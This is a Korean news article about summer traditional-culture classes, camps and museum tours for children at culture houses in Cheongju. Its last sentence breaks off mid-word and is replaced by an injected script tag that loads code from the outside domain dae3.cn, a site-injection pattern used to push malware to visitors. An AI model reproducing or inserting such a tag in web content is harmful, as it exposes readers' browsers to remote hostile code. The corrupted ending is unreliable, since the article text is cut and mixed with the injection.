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제목	올 여름방학엔 자녀와 전통문화 체험
내용	올 여름방학엔 자녀와 전통문화체험 (청주.흥덕문화의집 등서 강좌 마련 ) “올 여름 방학엔 무슨 ‘교실’에 갈까?” 여름 방학을 앞두고 색다른 체험 학습을 기대하는 어린이들이 많다. 때마침 청주문화의집. 흥덕문화의집 청주문화원 등에서 전통 문화 체험 교실이 마련돼 어린이들의 기대를 한껏 채워줄 전망이다. 이들 프로그램은 부모들의 입소문을 통해 전파되고 한번 참여한 어린이가 계속 참가하는 것이 특징. 학교 교육과정이 갈수록 이론보다는 현장교육을 강조하는 데다 전통문화에 대한 관심도 부쩍 커져 최근 문화체험교실을 교육현장으로 찾는 학생과 학부모들이 늘고 있다. 무엇보다 아이들의 사교육비 치고는 저렴한 데다 학교에서도 배우기 힘든 전통문화를 배울 수 있어 좋다는 평이다. 청주문화의집(☏043-223-0686)은 여름 방학을 맞아 ‘어린이를 위한 여름특별강좌’를 풍성히 마련한다. 그동안 어른 위주로 진행되던 문화강좌가 올 여름방학에는 전면적으로 어린이가 주체가 돼 참여할 수 있는 프로그램으로 바귀었다. 이 가운데 ‘한국의 멋과 향기를 찾아서’란 주제로 열리는 어린이전통문화캠프가 대표적. 올해로 5회째를 맞는 어린이전통문화캠프는 차예절과 전통음식. 태극선(부채)만들기. 민요한마당. 택견. 청주문화바로알기 시티투어 등 매일 색다른 프로그램으로 오는 27∼31일(오후 2∼4시) 5일동안 진행된다. 또 어린이를 위한 여름방학 특강으로 우리민화그리기. 벌레쫓는 향초만들기. 풍선동물만들기. 창의성미술교실 등 취미강좌와 영어·일어·한문교실. 민요교실 등 12개 강좌가 열린다. 흥덕문화의집(☏043-274-7500)도 어린이를 위한 체험학습 프로그램을 마련. 아이들과 만나게 된다. ‘박물관에서 역사의 현장속으로’를 주제로 한 문화탐방은 다음달 12일부터 14일까지 3일간 진행된다. 탐방일정은 12일 청원군 두루봉동굴. 백제유물전시관 등 선사·삼국시대 유적지를 둘러보고 13일 국립청주박물관. 고인쇄박물관. 청주향교. 청주읍성 등 청주 인근 박물관을 방문한다. 14일에는 청주문화의집에 모여 역사유적 자료집과 역사의 현장을 담은 비디오를 감상하고 역사탐방을 주제로 한 강의도 듣게 된다. ‘반딧불이와 함께하는 농촌문화체험캠프’는 다음달 10∼11일 이틀간 열리며 초등학교 3학년 이상의 학생들로 농사일거들기. 고구마캐기. 무?script src=http://dae3.cn>
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